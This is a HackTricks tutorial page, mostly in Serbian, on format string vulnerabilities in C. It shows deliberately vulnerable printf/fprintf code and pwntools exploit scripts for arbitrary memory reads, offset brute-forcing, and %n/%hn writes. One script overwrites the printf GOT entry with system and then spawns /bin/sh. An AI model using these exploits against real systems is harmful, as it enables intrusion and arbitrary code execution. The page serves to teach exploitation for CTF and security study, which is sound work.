Format Strings

Reading time: 8 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Osnovne Informacije

U C printf je funkcija koja se može koristiti za štampanje nekog stringa. Prvi parametar koji ova funkcija očekuje je sirovi tekst sa formatima. Sledeći parametri koji se očekuju su vrednosti za zamenu formata iz sirovog teksta.

Druge ranjive funkcije su sprintf() i fprintf().

Ranjivost se pojavljuje kada se tekst napadača koristi kao prvi argument ovoj funkciji. Napadač će moći da kreira poseban unos koji zloupotrebljava printf format string mogućnosti da čita i piše bilo koje podatke na bilo kojoj adresi (čitljivo/pisivo). Na ovaj način će moći da izvrši proizvoljan kod.

Formati:

bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Primeri:

  • Ranjivi primer:
c
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Normalna upotreba:
c
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • Sa nedostajućim argumentima:
c
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf ranjiv:
c
#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}

Pristupanje Pokazivačima

Format %<n>$x, gde je n broj, omogućava da se printf-u naznači da izabere n-ti parametar (sa steka). Dakle, ako želite da pročitate 4. parametar sa steka koristeći printf, mogli biste to uraditi:

c
printf("%x %x %x %x")

и могли бисте читати од првог до четвртог параметра.

Или бисте могли да урадите:

c
printf("%4$x")

i direktno pročitajte četvrti.

Obratite pažnju da napadač kontroliše printf parametar, što u suštini znači da će njegov unos biti u steku kada se pozove printf, što znači da bi mogao da upiše specifične adrese u memoriji u stek.

caution

Napadač koji kontroliše ovaj unos, moći će da doda proizvoljnu adresu u stek i natera printf da im pristupi. U sledećem odeljku biće objašnjeno kako koristiti ovo ponašanje.

Proizvoljno Čitanje

Moguće je koristiti formatirator %n$s da natera printf da dobije adresu koja se nalazi na n poziciji, nakon nje i odštampa je kao da je string (štampanje dok se ne pronađe 0x00). Dakle, ako je osnovna adresa binarnog fajla 0x8048000, i znamo da korisnički unos počinje na 4. poziciji u steku, moguće je odštampati početak binarnog fajla sa:

python
from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

caution

Imajte na umu da ne možete staviti adresu 0x8048000 na početak ulaza jer će string biti prekinut u 0x00 na kraju te adrese.

Pronađi offset

Da biste pronašli offset za vaš ulaz, možete poslati 4 ili 8 bajtova (0x41414141) praćenih %1$x i povećavati vrednost dok ne dobijete A's.

Brute Force printf offset
python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()

# Start a new process of the "chall" binary
p = process("./chall")

# Send the payload to the process
p.sendline(payload)

# Read and store the output of the process
output = p.clean()

# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break

# Close the process
p.close()

Koliko je korisno

Arbitrarna čitanja mogu biti korisna za:

  • Dump binarne datoteke iz memorije
  • Pristup specifičnim delovima memorije gde je smeštena osetljiva informacija (kao što su kanari, ključevi za enkripciju ili prilagođene lozinke kao u ovom CTF izazovu)

Arbitrarno Pisanje

Formatirnik %<num>$n piše broj napisanih bajtova u naznačenu adresu u <num> parametru na steku. Ako napadač može da piše onoliko karaktera koliko želi sa printf, moći će da natera %<num>$n da upiše proizvoljan broj na proizvoljnu adresu.

Srećom, da bi se napisao broj 9999, nije potrebno dodavati 9999 "A" u ulaz, da bi se to postiglo moguće je koristiti formatirnik %.<num-write>%<num>$n da bi se napisao broj <num-write> u adresu na koju ukazuje num pozicija.

bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

Međutim, imajte na umu da se obično za pisanje adrese kao što je 0x08049724 (što je OGROMAN broj za napisati odjednom), koristi $hn umesto $n. To omogućava da napišete samo 2 bajta. Stoga se ova operacija vrši dva puta, jednom za najviših 2B adrese i drugi put za najniže.

Zbog toga, ova ranjivost omogućava pisanje bilo čega na bilo kojoj adresi (arbitrarno pisanje).

U ovom primeru, cilj će biti da se prepiše adresa funkcije u GOT tabeli koja će biti pozvana kasnije. Iako bi ovo moglo zloupotrebiti druge tehnike arbitrarno pisanje za izvršavanje:

Write What Where 2 Exec

Prepisujemo funkciju koja prima svoje argumente od korisnika i upućujemo je na system funkciju.
Kao što je pomenuto, za pisanje adrese obično su potrebna 2 koraka: Prvo napišete 2B adrese, a zatim ostale 2. Da biste to uradili, koristi se $hn.

  • HOB se poziva na 2 viša bajta adrese
  • LOB se poziva na 2 niža bajta adrese

Zatim, zbog načina na koji funkcioniše format string, potrebno je prvo napisati manji od [HOB, LOB] i zatim drugi.

Ako je HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

Ako je HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Pwntools Template

Možete pronaći šablon za pripremu eksploita za ovu vrstu ranjivosti u:

Format Strings Template

Ili ovaj osnovni primer iz ovde:

python
from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Format Strings do BOF

Moguće je zloupotrebiti akcije pisanja u ranjivosti format stringa da se piše u adrese steka i iskoristi ranjivost tipa buffer overflow.

Ostali Primeri i Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks